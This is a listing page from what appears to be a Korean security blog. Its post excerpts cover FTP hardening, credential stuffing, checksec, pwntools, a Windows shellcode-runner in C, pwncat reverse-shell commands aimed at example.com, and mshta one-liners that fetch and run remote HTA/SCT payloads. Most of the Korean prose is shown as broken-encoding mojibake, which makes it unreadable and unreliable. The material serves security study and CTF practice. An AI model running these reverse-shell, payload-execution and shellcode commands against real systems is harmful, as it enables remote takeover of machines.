728x90 ๐์ ๋ณด๋ณด์122 ๋ฆฌ๋ฒ์ฑ - ์จ๋ผ์ธ ์์ค ์ฝ๋์์ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ก ๋ณํ(godbolt.org) https://godbolt.org/ Compiler Explorer godbolt.org ์ฐธ๊ณ : https://www.youtube.com/watch?v=gPsYkV7-yJk 2023. 4. 17. ๋คํธ์ํฌ ๋ณด์ - FTP ์ ๊ทผ ์ ์ด ์ค์ (/etc/ftpusers) ๋ณด์์ ์ทจ์ฝํ FTP๋ Bounce Attack, Anonymous FTP ๊ณต๊ฒฉ ๋ฑ์ ์ํํจ์ผ๋ก /etc/ftpusers์ root๋ daemon ๊ฐ์ ์ค์ ๊ณ์ ์ FTP ์ง์ ์ ์์ ์ ํ์ ํ๋ ๊ฒ์ด ํ์ํ๋ค. /etc/ftpusers # /etc/ftpusers: list of users disallowed FTP access. See ftpusers(5). root daemon bin sys sync games man lp mail news uucp nobody ์ ๊ทผ์ ์ ํ์ํฌ ์ฌ์ฉ์ ์ด๋ฆ์ ์ค์ ํ์ผ์๋ค ์ ์ด์ค๋ค. 2023. 4. 17. ์ ๋ณด๋ณด์ - ํฌ๋ฆฌ๋ด์ ์คํฐํ ํฌ๋ฆฌ๋ด์ ์คํฐํ(Credential Stuffing)์ ๊ธฐ์กด์ ๋ค๋ฅธ ๊ณณ์์ ์ ์ถ๋ ์์ด๋์ ํจ์ค์๋๋ฅผ ์ฌ๋ฌ ์น์ฌ์ดํธ๋ ์ฑ์ ๋์ ํด ๋ก๊ทธ์ธ์ด ๋ ๊ฒฝ์ฐ, ๊ฐ์ธ์ ๋ณด๋ ์๋ฃ๋ฅผ ์ ์ถํ๋ ๋ฐฉ๋ฒ์ด๋ค. ํฌ๋ฆฌ๋ด์ ์คํฐํ์ด ๋ฐ์ํ๋ ์ด์ ๋ ์ฌ์ฉ์๋ค์ด ์ฌ๋ฌ ์ฌ์ดํธ์ ๊ฐ์ ํฌ๋ฆฌ๋ด์ (ํนํ ํจ์ค์๋)์ ์ฌ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ด๋ค. ์ฌ๋ฌ ์๋น์ค์ ์ฌ์ดํธ์ ๊ฑธ์ณ ๊ณ์ ์ ํ๋ณดํ ๊ณต๊ฒฉ์๋ ๊ด๋ฒ์ํ ์ฌ๊ธฐํ ๋ฒ์ฃ๋ฅผ ์ ์ง๋ฅผ ์ ์๊ฒ ๋๋ค. ์ด๋ ํผํด์๋ ๊ฐ์ธ์ด ๋ ์๋ ์์ง๋ง, ๊ธฐ์ ์ด ๋ ์๋ ์๋ค. https://m.boannews.com/html/detail.html?tab_type=1&idx=114255 [์นด๋๋ด์ค] ๋น์ ์ ๊ฐ์ธ์ ๋ณด๋ ์์ ํ๊ฐ์? ‘ํฌ๋ฆฌ๋ด์ ์คํฐํ’ํฌ๋ฆฌ๋ด์ ์คํฐํ(Credential Stuffing)์ ๊ธฐ์กด์ ๋ค๋ฅธ ๊ณณ์์ .. 2023. 4. 16. ๋ฆฌ๋ฒ์ฑ - ๋ฐ์ด๋๋ฆฌ์ ์ค์ ๋ ๋ณดํธ ๊ธฐ๋ฒ ํ์ธ(checksec) checksec -f {ํ์ผ} RELRO(RELocation Read-Only): Read-Only ๊ถํ ์ค์ ์ผ๋ก Write ๊ฐ๋ฅํ์ง ์ฌ๋ถ Stack Canary: Return Address Overwrite ์ฌ๋ถ ํ์ธ Stack Canary๋ ์นด๋๋ฆฌ๋ฅผ ํตํด ์คํ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๊ฐ์งํ๋ค. NX(No-eXecute): NX๋ฅผ ์ฐํํ ์ ์๋ ๊ฐ์ฅ ๋ํ์ ์ธ ๋ฐฉ๋ฒ์ ROP(Return Oriented Programming) NX(No-eXecute)๋ ์์ฝ๋ ์คํ์ ๋ฐฉ์งํ๋ค. ASLR(Address Space Layout Randomization): ์คํ๋ ๋๋ง๋ค ๋ฐ์ดํฐ ์์ญ(์คํ, ํ, ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฑ)์ ์ฃผ์๋ฅผ ๋๋ค์ผ๋ก ๋ณ๊ฒฝ Windows์ฉ checksec https://github.com/Wenzel/che.. 2023. 3. 26. ์์คํ ๋ณด์ - pwntools pwntools๋ ๋ฆฌ๋ ์ค ํ๊ฒฝ์์ ์คํ ํ๋ก๊ทธ๋จ์ ์ต์คํ๋ก์์ ์์ฑํ๋๋ก ๋์์ ์ฃผ๋ ํ์ด์ฌ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๋ค. CTF์์๋ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋ ์ ์๋ค. pip ์ค์น ๋ช ๋ น์ด python3 -m pip install --upgrade pwntools ์ฌ์ฉ ์์ >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() nc(NetCat), .. 2023. 3. 25. ๋ฆฌ๋ฒ์ฑ - ์๋์ฐ ์์ฝ๋ ์คํ C์ธ์ด ์์ค #include #include int main(void){ char shellcode[] = {0x00,}; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; } 2023. 3. 23. ๋คํธ์ํฌ ๋ณด์ - Mullvad VPN ํฌํธํฌ์๋ฉ์ผ๋ก ์น ์๋ฒ ์ธ๋ถ์์ ์ ์ Mullvad VPN ์ฌ์ดํธ: ๊ณ์ > ์ฅ์น ํญ์์ ๋ด ์ฅ์น ํ์ธ ์ฃผ์: https://mullvad.net/ko/account/#/devices ๋ด ์ฅ์น์์ "ํฌํธ ์ถ๊ฐ" ํด๋ฆญ ํฌํธํฌ์๋ฉ ์ค์ ๋ฐฐ์ ๋ ํฌํธ ๋ฒํธ ํ์ธ ๋๋ผ-๋์-ํฌํธ๋ฒํธ ํ์์ด๋ฉฐ ๋ค์ ์ซ์ ๋ฒํธ๊ฐ ์ง์ ๋ฐ์ ๋ด ํฌํธ ๋ฒํธ์ด๋ค. Mullvad VPN ํ๋ก๊ทธ๋จ์์ ํฑ๋๋ฐํด(์ค์ ) ํด๋ฆญ "VPN ์ค์ " ํด๋ฆญ ํฐ๋ ํ๋กํ ์ฝ ํญ๋ชฉ์์ "OpenVPN"์ ์ ํ ๋ฐ๋์ VPN ์๋ฒ์ ์ฐ๊ฒฐ๋ ์์น๊ฐ ํฌํธํฌ์๋ฉ ํ์ด์ง์์ ์ค์ ํ ์์น๋ ์ผ์นํ๋์ง ํ์ธ Mullvad VPN ์ฌ์ดํธ์์ ํฌํธ ์ ์ ํ์ธํ๊ธฐ ์ฃผ์: https://mullvad.net/ko/check ์์ ์ IPv4 ์ฃผ์๋ฅผ ์ฐ์ ํ์ธ ๋ฐ๋ก ํ๋จ์ "ํฌํธ ํ์ธ" ํญ์ผ๋ก ๋ค์ด๊ฐ ๋ฐฉ๊ธ ์ ์ ํ์ธํ ํฌ.. 2023. 3. 19. ๋คํธ์ํฌ ํดํน - pwncat ๋ฆฌ๋ฒ์ค์ ๋ช ๋ น์ด pip ์ค์น ๋ช ๋ น์ด pip install pwncat victim(ํด๋ผ์ด์ธํธ)์ด ๊ณต๊ฒฉ์(์๋ฒ) ์ ์์ ์ํ ์ค์น ๋ช ๋ น์ด sudo pip install pwncat-cs ์๋ ๊ณต๊ฒฉ์๊ฐ python3 -m pwncat ๋ช ๋ น์ด๋ฅผ ์ฐ๊ธฐ ์ํ ์ค์น ๋ช ๋ น์ด TCP Reverse shell(ํด๋ผ์ด์ธํธ) pwncat -e '/bin/bash' example.com 4444 pwncat -e '/bin/bash' example.com 4444 --reconn --reconn-wait 10 10์ด๋ง๋ค ์ฌ์ฐ๊ฒฐ ์๋ ๊ณต๊ฒฉ์ ๋ฆฌ๋ฒ์ค์ ์๋ฒ ์คํ python3 -m pwncat -lp 4444 pwncat ํ๋กฌํํธ ๋ช ๋ น์ด / ๋จ์ถํค sessions: ์ฐ๊ฒฐ๋ victim๋ค ํ์ธ sessions {ID}: ์ํธ์์ฉ ํ๋ ค๋ victi.. 2023. 3. 16. ์น ํดํน - ๋ฆฌ๋ฒ์ค ์ ๋ช ๋ น์ด ๋ชจ์ ์ฌ์ดํธ(revshells.com) https://www.revshells.com/ Online - Reverse Shell Generator Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs. www.revshells.com 2023. 3. 16. ๋คํธ์ํฌ ๋ณด์ - ์์ดํผ๋ก ์ ์์ ์ธ ํผํด ์ฌ๋ก ๊ฒ์(criminalip.io) https://www.criminalip.io/ko Cybersecurity Search Engine | Criminal IP Criminal IP is a Cyber Threat Intelligence Search Engine and Attack Surface Management(ASM) platform to find everything in Cybersecurity with impressive amount data capacities, API speed, and price. www.criminalip.io 2023. 3. 12. ์์คํ ๋ณด์ - ์๋์ฐ MSHTA(Microsoft HTML Application) ๊ณต๊ฒฉ command-line mshta.exe vbscript:Close(Execute("GetObject(""script:http://127.0.0.1:4444/payload.sct"")")) mshta.exe http://127.0.0.1:4444/payload.hta mshta.exe \\127.0.0.1\folder\payload.hta payload.hta (SCT payloads) ๊ฒฐ๊ณผ HTA(HTML Application) ๋ณด๋ ๊ฒ์ฒ๋ผ ์๋์ฐ์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ค์น๋ mshta.exe(Microsoft HTML Application)๋ ๋ง์น ์น ๋ธ๋ผ์ฐ์ ์ฒ๋ผ ์ธ๋ถ์ ์๋ ์น ํ์ด์ง๋ฅผ ์์ฒญํ๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์๋ค. ์ฌ๊ธฐ์ ๋ฌธ์ ์ ์ ์ฌ๊ธฐ์ ๋ด์ฅ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ธํฐ๋ท ์ต์คํ๋ก๋ฌ ๊ธฐ๋ฐ์ธ์ง ActiveXObject.. 2023. 2. 7. ์์คํ ๋ณด์ - ์คํ ํ์ผ์ด ์๋ ์ฐํ ๊ธฐ๋ฒ(ํ์ผ๋ฆฌ์ค ๊ณต๊ฒฉ) "ํ์ผ๋ฆฌ์ค"๋ผ๋ ์ฉ์ด๋ ์ปดํจํฐ์ ๋ฉ๋ชจ๋ฆฌ์๋ง ์๋ ๋ฐฑ๋์ด์ ๊ฐ์ ์ํ์ด ํ์ผ์ ์ ๊ณต๋์ง ์์์ ์์ฌํฉ๋๋ค. ํ์ผ๋ฆฌ์ค ๊ธฐ๋ฒ์ ๊ณต๊ฒฉ์ด ํ์ง๋์ง ์๊ฑฐ๋ ์ถ์ ์ด ํ๋ค๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ ์ฑ์ฝ๋๊ฐ ๋์คํฌ์ ํ์ผ ํํ๋ก ์กด์ฌํ์ง ์์ ์ค์บ ๋์์ด ๋์ง๊ฐ ์๋๋ค. 2016๋ ๋๋ถํฐ ํ์์์ด ํ์ฉ์ด ๋ ํ์ผ๋ฆฌ์ค ๊ณต๊ฒฉ์ด ์ฆ๊ฐ์ธ๋ฅผ ๋ณด์๋ค. ์์ 1) LNK ํ์ผ์ ์ด์ฉํ ํ์์ ธ ์ ๋ผ์ด๋ ์คํ ํ๋ฉด์ clickme๋ผ๋ ์ด๋ฆ์ ๋ฌธ์ ํ์ผ์ฒ๋ผ ๋ณด์ด๋ ํ์ผ์ ์ฌ์ค LNK ํ์ผ์ด๋ค. ํ์ผ์ ์์ฑ์ ์ดํด๋ณด๋ฉด ํ์์ ธ์ด ์คํ๋๋๋ก ๋ฑ๋ก๋ผ ์๋ ๊ฒ์ ๋ณผ ์ ์๋๋ฐ, ์๋ํฐ๋ฅผ ์ด์ฉํด ํ์ผ์ ๋ด์ฉ์ ์์ธํ ์ดํด๋ณด๋ฉด, ํ์์ ธ ์ ๋ผ์ด๋๋ผ๋ ๊ฒ์ ์ ์ ์๋ค. [๊ทธ๋ฆผ 7] clickme ๋ฌธ์๋ก ๋ณด์ด๋ LNK ํ์ผ ์์ 2) ์์ ์ ์ด์ฉํ ํ์์ ธ ์ .. 2023. 2. 7. ์ด์ 1 2 3 4 5 6 7 8 ยทยทยท 11 ๋ค์ 728x90